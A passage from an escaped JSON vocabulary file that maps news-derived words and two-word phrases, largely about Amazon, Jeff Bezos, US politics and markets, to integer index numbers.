\"young employees\": 130414,\n  \"process north\": 130415,\n  \"reimburses\": 130416,\n  \"regina\": 130417,\n  \"heavy selling\": 130418,\n  \"giving subsidised\": 130419,\n  \"watches\": 130420,\n  \"prognosticators scored\": 130421,\n  \"fed hike\": 130422,\n  \"swim team\": 130423,\n  \"1p\": 130424,\n  \"snapped awkwardly\": 130425,\n  \"federal supplemental\": 130426,\n  \"produced items\": 130427,\n  \"casa\": 130428,\n  \"isaac\": 130429,\n  \"named 2015\": 130430,\n  \"stack completely\": 130431,\n  \"stock higher\": 130432,\n  \"prison minister\": 130433,\n  \"micro\": 130434,\n  \"haverty joining\": 130435,\n  \"2018 interview\": 130436,\n  \"seattle want\": 130437,\n  \"twister say\": 130438,\n  \"aides learned\": 130439,\n  \"double postal\": 130440,\n  \"raising rates\": 130441,\n  \"posts amazon\": 130442,\n  \"financial opportunity\": 130443,\n  \"highlighting fight\": 130444,\n  \"yankees games\": 130445,\n  \"posted jul\": 130446,\n  \"fork\": 130447,\n  \"actively harm\": 130448,\n  \"english premier\": 130449,\n  \"collective rights\": 130450,\n  \"sales new\": 130451,\n  \"obstructed\": 130452,\n  \"hand crafted\": 130453,\n  \"enriching continuing\": 130454,\n  \"murky blackmailing\": 130455,\n  \"democratic society\": 130456,\n  \"brushed\": 130457,\n  \"morgan cut\": 130458,\n  \"descriptions howard\": 130459,\n  \"hedren vice\": 130460,\n  \"showing widespread\": 130461,\n  \"glimmering las\": 130462,\n  \"share today\": 130463,\n  \"employer\": 130464,\n  \"single platform\": 130465,\n  \"upstateamerica geneva\": 130466,\n  \"preschool bezos\": 130467,\n  \"2037\": 130468,\n  \"increased dramatically\": 130469,\n  \"dog brought\": 130470,\n  \"coors eli\": 130471,\n  \"boardroom battle\": 130472,\n  \"lifts pakistan\": 130473,\n  \"kanchan koya\": 130474,\n  \"president just\": 130475,\n  \"france data\": 130476,\n  \"consistently declining\": 130477,\n  \"live updates\": 130478,\n  \"weight dramatically\": 130479,\n  \"angeles isn\": 130480,\n  \"videohash server719397\": 130481,\n  \"health enter\": 130482,\n  \"drive lot\": 130483,\n  \"wayfair quarter\": 130484,\n  \"truths sloppy\": 130485,\n  \"mower roomba\": 130486,\n  \"farmers work\": 130487,\n  \"agriculture services\": 130488,\n  \"repulsion\": 130489,\n  \"royal advisor\": 130490,\n  \"shia kapos\": 130491,\n  \"advocates claim\": 130492,\n  \"smell coming\": 130493,\n  \"concrete proof\": 130494,\n  \"hashtag began\": 130495,\n  \"getnextvideoindex\": 130496,\n  \"macbook air\": 130497,\n  \"companies dividends\": 130498,\n  \"expedited legislative\": 130499,\n  \"employee retirement\": 130500,\n  \"text announcer\": 130501,\n  \"nasdaq performance\": 130502,\n  \"american healthcare\": 130503,\n  \"cio dana\": 130504,\n  \"offset drop\": 130505,\n  \"executive safra\": 130506,\n  \"research psychologist\": 130507,\n  \"fairly negotiated\": 130508,\n  \"crash expects\": 130509,\n  \"weird cramer\": 130510,\n  \"atomwaffen division\": 130511,\n  \"investment ideas\": 130512,\n  \"jerome corsi\": 130513,\n  \"ken kind\": 130514,\n  \"small delivery\": 130515,\n  \"fassbender\": 130516,\n  \"employee actually\": 130517,\n  \"heart disease\": 130518,\n  \"environmental agenda\": 130519,\n  \"binoche\": 130520,\n  \"juylcwhmga rebecca\": 130521,\n  \"journalist returns\": 130522,\n  \"federal money\": 130523,\n  \"deap ubhi\": 130524,\n  \"past statements\": 130525,\n  \"honolulu fort\": 130526,\n  \"dispute addressing\": 130527,\n  \"uncertainty surrounding\": 130528,\n  \"slideshows arkansas\": 130529,\n  \"giant step\": 130530,\n  \"wilson sessions\": 130531,\n  \"city cohen\": 130532,\n  \"schiff claimed\": 130533,\n  \"staffing solutions\": 130534,\n  \"confidential\": 130535,\n  \"coat changed\": 130536,\n  \"sen thom\": 130537,\n  \"shutdown amid\": 130538,\n  \"member brad\": 130539,\n  \"haugen 543\": 130540,\n  \"pelosi photo\": 130541,\n  \"constant focus\": 130542,\n  \"trump rallies\": 130543,\n  \"news sanders\": 130544,\n  \"understated\": 130545,\n  \"variations\": 130546,\n  \"powerful justice\": 130547,\n  \"hughes 138\": 130548,\n  \"rebeccaarainey\": 130549,\n  \"compulsory\": 130550,\n  \"critical articles\": 130551,\n  \"soldiers killed\": 130552,\n  \"brief time\": 130553,\n  \"legislation mair\": 130554,\n  \"flowery\": 130555,\n  \"utterly charismatic\": 130556,\n  \"line utility\": 130557,\n  \"lied\": 130558,\n  \"leaked jeff\": 130559,\n  \"sanctuary island\": 130560,\n  \"significant ripple\": 130561,\n  \"amazed\": 130562,\n  \"post distinction\": 130563,\n  \"unionize employees\": 130564,\n  \"divorce ordinarily\": 130565,\n  \"nation security\": 130566,\n  \"alexa play\": 130567,\n  \"api key\": 130568,\n  \"struggling\": 130569,\n  \"greenprint\": 130570,\n  \"office attempt\": 130571,\n  \"god used\": 130572,\n  \"jail free\": 130573,\n  \"rarely depicted\": 130574,\n  \"moonshot questions\": 130575,\n  \"pursue charges\": 130576,\n  \"640x290 uploaded_files\": 130577,\n  \"auto imports\": 130578,\n  \"trump esque\": 130579,\n  \"apple longtime\": 130580,\n  \"lifestyle titles\": 130581,\n  \"bakalar founder\": 130582,\n  \"necessary hosts\": 130583,\n  \"quickly katherine\": 130584,\n  \"jeremoss\": 130585,\n  \"compulsive\": 130586,\n  \"obamagate obamagatespyscandal\": 130587,\n  \"deal blackmail\": 130588,\n  \"length handling\": 130589,\n  \"palladium\": 130590,\n  \"including ar\": 130591,\n  \"globalisation\": 130592,\n  \"costs analysts\": 130593,\n  \"nordlinger jaynordlinger\": 130594,\n  \"fascist regime\": 130595,\n  \"tx\": 130596,\n  \"paul kentucky\": 130597,\n  \"chicago police\": 130598,\n  \"conway opening\": 130599,\n  \"canaan\": 130600,\n  \"coincidence\": 130601,\n  \"internationally including\": 130602,\n  \"buy stock\": 130603,\n  \"political process\": 130604,\n  \"declare national\": 130605,\n  \"employees making\": 130606,\n  \"headlines include\": 130607,\n  \"sierras\": 130608,\n  \"possible 2020\": 130609,\n  \"health concerns\": 130610,\n  \"consumers rely\": 130611,\n  \"cutformat\": 130612,\n  \"economy members\": 130613,\n  \"swiss drugmaker\": 130614,\n  \"president fredric\": 130615,\n  \"counsel hasn\": 130616,\n  \"positioned better\": 130617,\n  \"win according\": 130618,\n  \"lengthy conflict\": 130619,\n  \"investigation jeff\": 130620,\n  \"videoid jquery\": 130621,\n  \"incursions\": 130622,\n  \"reap serve\": 130623,\n  \"house internal\": 130624,\n  \"buy movie\": 130625,\n  \"particularly surprised\": 130626,\n  \"young munduruku\": 130627,\n  \"trapeze artist\": 130628,\n  \"representatives asking\": 130629,\n  \"corsi\": 130630,\n  \"curious habit\": 130631,\n  \"report harassers\": 130632,\n  \"communities state\": 130633,\n  \"tinder risky\": 130634,\n  \"thinkmarkets\": 130635,\n  \"economic military\": 130636,\n  \"really really\": 130637,\n  \"footprints 800\": 130638,\n  \"capture text\": 130639,\n  \"republicans saying\": 130640,\n  \"793 raised\": 130641,\n  \"planks despite\": 130642,\n  \"built sales\": 130643,\n  \"divorce secretary\": 130644,\n  \"angeles flagship\": 130645,\n  \"gotten ahold\": 130646,\n  \"aws held\": 130647,\n  \"retail managing\": 130648,\n  \"milligan\": 130649,\n  \"launching major\": 130650,\n  \"fi team\": 130651,\n  \"becker claimed\": 130652,\n  \"popular democracy\": 130653,\n  \"ridiculous trump\": 130654,\n  \"republicans including\": 130655,\n  \"pubescent\": 130656,\n  \"arrested amazon\": 130657,\n  \"sweden\": 130658,\n  \"organisation unable\": 130659,\n  \"past administration\": 130660,\n  \"reporters white\": 130661,\n  \"online 2018\": 130662,\n  \"don mean\": 130663,\n  \"amazon spying\": 130664,\n  \"media just\": 130665,\n  \"travelers\": 130666,\n  \"sons\": 130667,\n  \"powerful mother\": 130668,\n  \"overtaken traditional\": 130669,\n  \"lease fleet\": 130670,\n  \"trump surcharge\": 130671,\n  \"trump creation\": 130672,\n  \"shares began\": 130673,\n  \"ethnically motivated\": 130674,\n  \"time candidate\": 130675,\n  \"earlier expressed\": 130676,\n  \"vertical deal\": 130677,\n  \"ocala danger\": 130678,\n  \"administration deleteuber\": 130679,\n  \"named neighborhood\": 130680,\n  \"era mcbride\": 130681,\n  \"bezos offered\": 130682,\n  \"fear desperation\": 130683,\n  \"green coat\": 130684,\n  \"regulate tech\": 130685,\n  \"hours later\": 130686,\n  \"job description\": 130687,\n  \"suspected\": 130688,\n  \"2018 contest\": 130689,\n  \"paying taxes\": 130690,\n  \"forte speculates\": 130691,\n  \"taken step\": 130692,\n  \"acquire provider\": 130693,\n  \"represents brick\": 130694,\n  \"w0 d4\": 130695,\n  \"extras\": 130696,\n  \"facilitating counterfeit\": 130697,\n  \"melania\": 130698,\n  \"love seeing\": 130699,\n  \"fight new\": 130700,\n  \"people ferrari\": 130701,\n  \"inflation according\": 130702,\n  \"anchorage overland\": 130703,\n  \"usually bit\": 130704,\n  \"seeva technologies\": 130705,\n  \"deflationary\": 130706,\n  \"amazon post\": 130707,\n  \"talk new\": 130708,\n  \"sentiment lifted\": 130709,\n  \"times executive\": 130710,\n  \"face image\": 130711,\n  \"blueberry\": 130712,\n  \"meandering\": 130713,\n  \"digital worlds\": 130714,\n  \"told host\": 130715,\n  \"portfolio sfe\": 130716,\n  \"1237872\": 130717,\n  \"totals\": 130718,\n  \"fact crazy\": 130719,\n  \"stimulating economic\": 130720,\n  \"audacious decision\": 130721,\n  \"court judges\": 130722,\n  \"nappi\": 130723,\n  \"clean\": 130724,\n  \"bruising conflict\": 130725,\n  \"ben stoto\": 130726,\n  \"mijente brought\": 130727,\n  \"jeffrey kvaal\": 130728,\n  \"solution comprehensive\": 130729,\n  \"billionaire bernard\": 130730,\n  \"2018 toys\": 130731,\n  \"government announced\": 130732,\n  \"misaligned\": 130733,\n  \"america business\": 130734,\n  \"effectively confirming\": 130735,\n  \"concerns relating\": 130736,\n  \"great need\": 130737,\n  \"plan goal\": 130738,\n  \"physical online\": 130739,\n  \"amazon logos\": 130740,\n  \"post hillary\": 130741,\n  \"paper proposes\": 130742,\n  \"board vice\": 130743,\n  \"hinnant\": 130744,\n  \"previous quarter\": 130745,\n  \"value\": 130746,\n  \"parkland fla\": 130747,\n  \"gaslight\": 130748,\n  \"khashoggi wapo\": 130749,\n  \"inappropriately high\": 130750,\n  \"angrily\": 130751,\n  \"humphrey\": 130752,\n  \"894\": 130753,\n  \"rural massachusetts\": 130754,\n  \"week ahead\": 130755,\n  \"half sister\": 130756,\n  \"delayed bezos\": 130757,\n  \"graham family\": 130758,\n  \"novel american\": 130759,\n  \"khosrowshahi amazon\": 130760,\n  \"sell tickets\": 130761,\n  \"bigoted outrages\": 130762,\n  \"potentially turning\": 130763,\n  \"content policies\": 130764,\n  \"camera rescheduled\": 130765,\n  \"subcommittee meng\": 130766,\n  \"peter chernin\": 130767,\n  \"host slew\": 130768,\n  \"war\": 130769,\n  \"muilenburg\": 130770,\n  \"turkish relations\": 130771,\n  \"shine\": 130772,\n  \"approval ratings\": 130773,\n  \"pic unless\": 130774,\n  \"mueller subpoenaed\": 130775,\n  \"pharr\": 130776,\n  \"suit claims\": 130777,\n  \"pharmaceutical special\": 130778,\n  \"income survey\": 130779,\n  \"future contracts\": 130780,\n  \"biggest international\": 130781,\n  \"customer anthony\": 130782,\n  \"following reviews\": 130783,\n  \"nation conference\": 130784,\n  \"congress corporations\": 130785,\n  \"dorothy lynchian\": 130786,\n  \"muckrock cincinnati\": 130787,\n  \"authorities look\": 130788,\n  \"credit services\": 130789,\n  \"nifty map\": 130790,\n  \"rule\": 130791,\n  \"consistently used\": 130792,\n  \"bezos whisked\": 130793,\n  \"purchase 000\": 130794,\n  \"huge loss\": 130795,\n  \"partner wanting\": 130796,\n  \"fromnew jersey\": 130797,\n  \"keynote speech\": 130798,\n  \"references ami\": 130799,\n  \"enemies history\": 130800,\n  \"amazon pummelled\": 130801,\n  \"recorded conversation\": 130802,\n  \"group cidg\": 130803,\n  \"inside mountain\": 130804,\n  \"industry conference\": 130805,\n  \"regulatory costs\": 130806,\n  \"merger did\": 130807,\n  \"liuna\": 130808,\n  \"beth citrin\": 130809,\n  \"splc cca\": 130810,\n  \"released troubling\": 130811,\n  \"meet owner\": 130812,\n  \"deeper amazonhttps\": 130813,\n  \"vince mcmahon\": 130814,\n  \"halliburton owe\": 130815,\n  \"based mortgage\": 130816,\n  \"calling trump\": 130817,\n  \"jim stavridis\": 130818,\n  \"repackaging\": 130819,\n  \"trafigura\": 130820,\n  \"attacks comments\": 130821,\n  \"face stricter\": 130822,\n  \"similarly situated\": 130823,\n  \"stoped using\": 130824,\n  \"awards highlights\": 130825,\n  \"price offered\": 130826,\n  \"divcon leaders\": 130827,\n  \"planet heats\": 130828,\n  \"blamed president\": 130829,\n  \"pre ordered\": 130830,\n  \"season premiered\": 130831,\n  \"total payment\": 130832,\n  \"angelina jolie\": 130833,\n  \"point donny\": 130834,\n  \"limited\": 130835,\n  \"bourguignon matt\": 130836,\n  \"secretly ramps\": 130837,\n  \"unsecured loan\": 130838,\n  \"collusion payments\": 130839,\n  \"american landowners\": 130840,\n  \"reviews amazon\": 130841,\n  \"tech trade\": 130842,\n  \"animated version\": 130843,\n  \"wages hit\": 130844,\n  \"quickly\": 130845,\n  \"gut check\": 130846,\n  \"seasonal work\": 130847,\n  \"topics studied\": 130848,\n  \"offerman\": 130849,\n  \"feminist radical\": 130850,\n  \"h8 a4ee\": 130851,\n  \"honed discerning\": 130852,\n  \"cope\": 130853,\n  \"thornton talks\": 130854,\n  \"curiam alterations\": 130855,\n  \"establishment stores\": 130856,\n  \"took steps\": 130857,\n  \"neil hughes\": 130858,\n  \"minister ernesto\": 130859,\n  \"nonfiction\": 130860,\n  \"107\": 130861,\n  \"involve humanity\": 130862,\n  \"trump country\": 130863,\n  \"heaping piles\": 130864,\n  \"site crashes\": 130865,\n  \"alcoholic beverage\": 130866,\n  \"entrants\": 130867,\n  \"investor conference\": 130868,\n  \"crony lobbyists\": 130869,\n  \"publisher dershowitz\": 130870,\n  \"really improved\": 130871,\n  \"economic trajectory\": 130872,\n  \"farmers debbie\": 130873,\n  \"change met\": 130874,\n  \"3adcwtfl0k john\": 130875,\n  \"analyst associate\": 130876,\n  \"detroit shipping\": 130877,\n  \"parkland student\": 130878,\n  \"join jake\": 130879,\n  \"mixed reviews\": 130880,\n  \"stated\": 130881,\n  \"global commerce\": 130882,\n  \"isn paying\": 130883,\n  \"continuing conflict\": 130884,\n  \"reuters 2ftopnews\": 130885,\n  \"amazon chevron\": 130886,\n  \"controlled safe\": 130887,\n  \"response teams\": 130888,\n  \"groups crowded\": 130889,\n  \"police employee\": 130890,\n  \"wildly\": 130891,\n  \"media figures\": 130892,\n  \"fall flat\": 130893,\n  \"basin\": 130894,\n  \"store office\": 130895,\n  \"design thinking\": 130896,\n  \"book posits\": 130897,\n  \"confrontational hardline\": 130898,\n  \"economic pressure\": 130899,\n  \"bulls today\": 130900,\n  \"2014 amazon\": 130901,\n  \"impede professional\": 130902,\n  \"fall far\": 130903,\n  \"marine krasinski\": 130904,\n  \"arc\": 130905,\n  \"city suburb\": 130906,\n  \"showed admiration\": 130907,\n  \"meantime european\": 130908,\n  \"unlawful\": 130909,\n  \"ford shares\": 130910,\n  \"bloomberg quoted\": 130911,\n  \"behemoth\": 130912,\n  \"89x\": 130913,\n  \"beloved country\": 130914,\n  \"redistricting\": 130915,\n  \"alarming possibility\": 130916,\n  \"ambassadors people\": 130917,\n  \"california home\": 130918,\n  \"kingdom issue\": 130919,\n  \"extend clemency\": 130920,\n  \"scrape em\": 130921,\n  \"latest set\": 130922,\n  \"weather blog\": 130923,\n  \"immigrant named\": 130924,\n  \"financial trade\": 130925,\n  \"network routers\": 130926,\n  \"scripts note\": 130927,\n  \"commerce marketing\": 130928,\n  \"cheney stock\": 130929,\n  \"scorched\": 130930,\n  \"point received\": 130931,\n  \"commissioner\": 130932,\n  \"rosenstein snot\": 130933,\n  \"uh huh\": 130934,\n  \"marketplaces accountable\": 130935,\n  \"cchurchill timesunion\": 130936,\n  \"based burger\": 130937,\n  \"trump doubts\": 130938,\n  \"transylvania summer\": 130939,\n  \"attempted blockage\": 130940,\n  \"generating bulk\": 130941,\n  \"aluminum producers\": 130942,\n  \"eurozone banks\": 130943,\n  \"encourage extremism\": 130944,\n  \"point lifeboat\": 130945,\n  \"iberian spanish\": 130946,\n  \"added fuel\": 130947,\n  \"yorker festival\": 130948,\n  \"announcing brand\": 130949,\n  \"memphis based\": 130950,\n  \"press source\": 130951,\n  \"sector just\": 130952,\n  \"exception possibly\": 130953,\n  \"restore acosta\": 130954,\n  \"communications regulator\": 130955,\n  \"privately investigating\": 130956,\n  \"geeks\": 130957,\n  \"reported average\": 130958,\n  \"occ refused\": 130959,\n  \"itep senior\": 130960,\n  \"nation leading\": 130961,\n  \"college party\": 130962,\n  \"wealthier\": 130963,\n  \"president businesses\": 130964,\n  \"unique compromised\": 130965,\n  \"questionable tax\": 130966,\n  \"share uber\": 130967,\n  \"2019 q2\": 130968,\n  \"evrnu showed\": 130969,\n  \"time writes\": 130970,\n  \"personally lobbying\": 130971,\n  \"digital spyjust\": 130972,\n  \"anachronistic\": 130973,\n  \"flier\": 130974,\n  \"fdx free\": 130975,\n  \"sanchez american\": 130976,\n  \"man mcdougal\": 130977,\n  \"billionaire founders\": 130978,\n  \"mail including\": 130979,\n  \"state abuses\": 130980,\n  \"dose\": 130981,\n  \"hardware\": 130982,\n  \"increasingly central\": 130983,\n  \"findings appear\": 130984,\n  \"house launch\": 130985,\n  \"pre buy\": 130986,\n  \"quarter aws\": 130987,\n  \"issues policies\": 130988,\n  \"wishes\": 130989,\n  \"causes constant\": 130990,\n  \"discussed taking\": 130991,\n  \"women filmmakers\": 130992,\n  \"competing unfairly\": 130993,\n  \"hotstar premium\": 130994,\n  \"regina hall\": 130995,\n  \"sociological trends\": 130996,\n  \"administration antitrust\": 130997,\n  \"special effects\": 130998,\n  \"publicised\": 130999,\n  \"charitable endeavor\": 131000,\n  \"extremely proud\": 131001,\n  \"heard republicans\": 131002,\n  \"criticized publicly\": 131003,\n  \"pete spent\": 131004,\n  \"magazines\": 131005,\n  \"attempted murder\": 131006,\n  \"companies permission\": 131007,\n  \"people aware\": 131008,\n  \"jurassic press\": 131009,\n  \"tv manchester\": 131010,\n  \"daniel tiger\": 131011,\n  \"hayes contributed\": 131012,\n  \"gamed set\": 131013,\n  \"rates say\": 131014,\n  \"hayek backed\": 131015,\n  \"reporters later\": 131016,\n  \"tax loss\": 131017,\n  \"rofl\": 131018,\n  \"socks design\": 131019,\n  \"rejoined\": 131020,\n  \"face tremendous\": 131021,\n  \"journalist revealed\": 131022,\n  \"yearly\": 131023,\n  \"sbirt expansion\": 131024,\n  \"calling amazon\": 131025,\n  \"israeli state\": 131026,\n  \"achieve 2tn\": 131027,\n  \"extended periods\": 131028,\n  \"ambiguous position\": 131029,\n  \"demarcated\": 131030,\n  \"jersey gfm\": 131031,\n  \"kiro\": 131032,\n  \"scores credit\": 131033,\n  \"amazon father\": 131034,\n  \"kasie dc\": 131035,\n  \"amazon investigators\": 131036,\n  \"president criticizing\": 131037,\n  \"lanariaamberkira blogspot\": 131038,\n  \"hurts poorer\": 131039,\n  \"bldg empirestatebldg\": 131040,\n  \"establish task\": 131041,\n  \"minimum wages\": 131042,\n  \"arguable\": 131043,\n  \"assisting government\": 131044,\n  \"sandman\": 131045,\n  \"skirt sales\": 131046,\n  \"bannon according\": 131047,\n  \"bloomberg jeff\": 131048,\n  \"fruition\": 131049,\n  \"ago wapo\": 131050,\n  \"formed task\": 131051,\n  \"shannon john\": 131052,\n  \"twelfe\": 131053,\n  \"solyndra took\": 131054,\n  \"list josh\": 131055,\n  \"pete right\": 131056,\n  \"commercial shipping\": 131057,\n  \"2000 index\": 131058,\n  \"internet success\": 131059,\n  \"protections weren\": 131060,\n  \"lesar chairman\": 131061,\n  \"shakespeare\": 131062,\n  \"betrayed\": 131063,\n  \"wang geekwire\": 131064,\n  \"parents charged\": 131065,\n  \"brazil commodities\": 131066,\n  \"indicates products\": 131067,\n  \"thistime crosstalk\": 131068,\n  \"purchased fake\": 131069,\n  \"trade showdown\": 131070,\n  \"believe large\": 131071,\n  \"insider stoppelman\": 131072,\n  \"commerce lead\": 131073,\n  \"washington hopes\": 131074,\n  \"costs usps\": 131075,\n  \"follows characters\": 131076,\n  \"rebutted\": 131077,\n  \"khosrowshahi reportedly\": 131078,\n  \"firm asked\": 131079,\n  \"future based\": 131080,\n  \"i09 maga\": 131081,\n  \"improve profitability\": 131082,\n  \"help teachers\": 131083,\n  \"ip trade\": 131084,\n  \"b5q 121\": 131085,\n  \"uncovering\": 131086,\n  \"operations facing\": 131087,\n  \"netted 262\": 131088,\n  \"terribly sad\": 131089,\n  \"reed mayor\": 131090,\n  \"forced thousands\": 131091,\n  \"comment service\": 131092,\n  \"donning bald\": 131093,\n  \"deal retailers\": 131094,\n  \"crisis story\": 131095,\n  \"easy sweet\": 131096,\n  \"republicans just\": 131097,\n  \"busing teachers\": 131098,\n  \"electorate getting\": 131099,\n  \"luminaries look\": 131100,\n  \"politics\": 131101,\n  \"misunderstood facebook\": 131102,\n  \"china ma\": 131103,\n  \"chief gavin\": 131104,\n  \"typical headline\": 131105,\n  \"economy capricious\": 131106,\n  \"focused president\": 131107,\n  \"phillip cnn\": 131108,\n  \"devices listening\": 131109,\n  \"return c0\": 131110,\n  \"blame andrea\": 131111,\n  \"news senior\": 131112,\n  \"past coalition\": 131113,\n  \"debate house\": 131114,\n  \"m0\": 131115,\n  \"drug benefit\": 131116,\n  \"justin danhof\": 131117,\n  \"triborough\": 131118,\n  \"rockaway housing\": 131119,\n  \"bank president\": 131120,\n  \"fantasy novel\": 131121,\n  \"guiding principles\": 131122,\n  \"increases antitrust\": 131123,\n  \"liberal politicians\": 131124,\n  \"gamingnews pubg\": 131125,\n  \"rubicon named\": 131126,\n  \"fascinating components\": 131127,\n  \"disgraces\": 131128,\n  \"rosenstein discussed\": 131129,\n  \"shopping 2018\": 131130,\n  \"government employees\": 131131,\n  \"political response\": 131132,\n  \"hanks celebrated\": 131133,\n  \"colony\": 131134,\n  \"climate gianaris\": 131135,\n  \"real_estate\": 131136,\n  \"day coverage\": 131137,\n  \"talking\": 131138,\n  \"matter stated\": 131139,\n  \"stacy flynn\": 131140,\n  \"immigration corporate\": 131141,\n  \"possible exclusionary\": 131142,\n  \"candidacies\": 131143,\n  \"initial findings\": 131144,\n  \"day congress\": 131145,\n  \"drones snopes\": 131146,\n  \"carrying passengers\": 131147,\n  \"howard megdal\": 131148,\n  \"dividend yields\": 131149,\n  \"iphones 2018\": 131150,\n  \"bovine blood\": 131151,\n  \"emergency powers\": 131152,\n  \"pension funds\": 131153,\n  \"ami website\": 131154,\n  \"amazon battle\": 131155,\n  \"bloomberg read\": 131156,\n  \"768 768w\": 131157,\n  \"recession 2018\": 131158,\n  \"yesterday james\": 131159,\n  \"wince leaving\": 131160,\n  \"thereof\": 131161,\n  \"cabinet note\": 131162,\n  \"unplug\": 131163,\n  \"weaponising journalistic\": 131164,\n  \"adding position\": 131165,\n  \"suicide\": 131166,\n  \"afforded protections\": 131167,\n  \"diana\": 131168,\n  \"1091395001987194880\": 131169,\n  \"mass suicides\": 131170,\n  \"started thinking\": 131171,\n  \"motivated hit\": 131172,\n  \"private investment\": 131173,\n  \"told pj\": 131174,\n  \"war machine\": 131175,\n  \"amazon acquiring\": 131176,\n  \"philidelphia stood\": 131177,\n  \"imazon shows\": 131178,\n  \"service right\": 131179,\n  \"republican coalition\": 131180,\n  \"usually unresponsive\": 131181,\n  \"spike lee\": 131182,\n  \"amazon hunt\": 131183,\n  \"sabby phillip\": 131184,\n  \"translator referring\": 131185,\n  \"deforestation schmitt\": 131186,\n  \"fort drum\": 131187,\n  \"help pay\": 131188,\n  \"robert frank\": 131189,\n  \"wealthy outspoken\": 131190,\n  \"agreement appears\": 131191,\n  \"profitthe\": 131192,\n  \"imports\": 131193,\n  \"council politico\": 131194,\n  \"oliverdarcy\": 131195,\n  \"explainer contact\": 131196,\n  \"abuse isn\": 131197,\n  \"seattle jeff\": 131198,\n  \"recently described\": 131199,\n  \"story published\": 131200,\n  \"called amazon\": 131201,\n  \"hots\": 131202,\n  \"shoulder gym\": 131203,\n  \"won treat\": 131204,\n  \"recommends beatriz\": 131205,\n  \"employs directly\": 131206,\n  \"safe legal\": 131207,\n  \"ballooned\": 131208,\n  \"platform monopoly\": 131209,\n  \"multi channel\": 131210,\n  \"armed civilian\": 131211,\n  \"reimagining\": 131212,\n  \"mccarthyism realdonaldtrump\": 131213,\n  \"2017steve\": 131214,\n  \"somewhat similar\": 131215,\n  \"freedom related\": 131216,\n  \"salty\": 131217,\n  \"exact value\": 131218,\n  \"relative expedience\": 131219,\n  \"scenes intervention\": 131220,\n  \"house anti\": 131221,\n  \"forge laurence\": 131222,\n  \"weapons program\": 131223,\n  \"mexico leftist\": 131224,\n  \"questionable seemingly\": 131225,\n  \"organizations budhraja\": 131226,\n  \"awoo umu\": 131227,\n  \"american woman\": 131228,\n  \"amazon created\": 131229,\n  \"opinion offers\": 131230,\n  \"hurt companies\": 131231,\n  \"welcomes support\": 131232,\n  \"mixture\": 131233,\n  \"gwyneth paltrow\": 131234,\n  \"paulmanafort russia\": 131235,\n  \"eventually disbar\": 131236,\n  \"smashed wall\": 131237,\n  \"bad\": 131238,\n  \"mothballed congress\": 131239,\n  \"michael antonio\": 131240,\n  \"raising alarm\": 131241,\n  \"dominated index\": 131242,\n  \"charity glide\": 131243,\n  \"believes kavanaugh\": 131244,\n  \"treasonpuddles\": 131245,\n  \"bank analyst\": 131246,\n  \"firms amazon\": 131247,\n  \"straight record\": 131248,\n  \"cynthia chen\": 131249,\n  \"high double\": 131250,\n  \"force head\": 131251,\n  \"unwilling\": 131252,\n  \"ferocious antagonist\": 131253,\n  \"greenwald\": 131254,\n  \"daf5yvweds pic\": 131255,\n  \"financing brian\": 131256,\n  \"tax assets\": 131257,\n  \"tousle\": 131258,\n  \"vuelta espana\": 131259,\n  \"richard armitage\": 131260,\n  \"undeniable companies\": 131261,\n  \"guy source\": 131262,\n  \"certificates\": 131263,\n  \"evidence 2018\": 131264,\n  \"trek bezos\": 131265,\n  \"emotionally\": 131266,\n  \"750 share\": 131267,\n  \"election cheryl\": 131268,\n  \"mommy response\": 131269,\n  \"coffee provided\": 131270,\n  \"literally named\": 131271,\n  \"american cemetery\": 131272,\n  \"stop amazon\": 131273,\n  \"stewing herbs\": 131274,\n  \"park people\": 131275,\n  \"alphabet facebook\": 131276,\n  \"religious discrimination\": 131277,\n  \"morning google\": 131278,\n  \"riccio\": 131279,\n  \"news lot\": 131280,\n  \"1993\": 131281,\n  \"screeching\": 131282,\n  \"fred trump\": 131283,\n  \"memorable characters\": 131284,\n  \"meat\": 131285,\n  \"tags adobe\": 131286,\n  \"sight amazon\": 131287,\n  \"fran spielman\": 131288,\n  \"publisher kept\": 131289,\n  \"ingels klein\": 131290,\n  \"companies vacuum\": 131291,\n  \"bass parent\": 131292,\n  \"roasted\": 131293,\n  \"rural districts\": 131294,\n  \"advisors\": 131295,\n  \"sabzi pastel\": 131296,\n  \"global hedge\": 131297,\n  \"nominated\": 131298,\n  \"acosta refuses\": 131299,\n  \"billion sergey\": 131300,\n  \"business commerce\": 131301,\n  \"phone app\": 131302,\n  \"opapp\": 131303,\n  \"supermarket chain\": 131304,\n  \"deliver powerful\": 131305,\n  \"bezos needs\": 131306,\n  \"vote text\": 131307,\n  \"schuster joined\": 131308,\n  \"orkers\": 131309,\n  \"swooped\": 131310,\n  \"castro\": 131311,\n  \"rakers\": 131312,\n  \"alcohol learn\": 131313,\n  \"right noises\": 131314,\n  \"delivered rolled\": 131315,\n  \"customers significantly\": 131316,\n  \"demanding subsidies\": 131317,\n  \"comparable\": 131318,\n  \"bidders\": 131319,\n  \"fair eric\": 131320,\n  \"trump personally\": 131321,\n  \"public officials\": 131322,\n  \"know definitively\": 131323,\n  \"reuters advisory\": 131324,\n  \"insurance corporation\": 131325,\n  \"multiple revealing\": 131326,\n  \"configobj thumb\": 131327,\n  \"matching high\": 131328,\n  \"largest convenience\": 131329,\n  \"badly misspoke\": 131330,\n  \"export\": 131331,\n  \"restaurant chanting\": 131332,\n  \"oil services\": 131333,\n  \"human people\": 131334,\n  \"parcels including\": 131335,\n  \"isn raising\": 131336,\n  \"largest shareholders\": 131337,\n  \"housing cramer\": 131338,\n  \"quantified charter\": 131339,\n  \"seeking money\": 131340,\n  \"person sales\": 131341,\n  \"new cio\": 131342,\n  \"greenberg\": 131343,\n  \"mayor rahm\": 131344,\n  \"whitesell donald\": 131345,\n  \"dems mtp\": 131346,\n  \"quarter\": 131347,\n  \"863 million\": 131348,\n  \"buy chukumba\": 131349,\n  \"texas wrote\": 131350,\n  \"punctuation\": 131351,\n  \"viable option\": 131352,\n  \"comments armed\": 131353,\n  \"unwanted text\": 131354,\n  \"accumulated 234\": 131355,\n  \"amazon shed\": 131356,\n  \"adding prominent\": 131357,\n  \"devout\": 131358,\n  \"bonuses benefits\": 131359,\n  \"driven economy\": 131360,\n  \"buffett belief\": 131361,\n  \"propaganda norman\": 131362,\n  \"going public\": 131363,\n  \"drew magary\": 131364,\n  \"census bureau\": 131365,\n  \"claim refuted\": 131366,\n  \"new mood\": 131367,\n  \"incidents\": 131368,\n  \"program read\": 131369,\n  \"executive wrote\": 131370,\n  \"favorite handheld\": 131371,\n  \"sexy customer\": 131372,\n  \"promotional tour\": 131373,\n  \"urgent concerns\": 131374,\n  \"myrie\": 131375,\n  \"libby 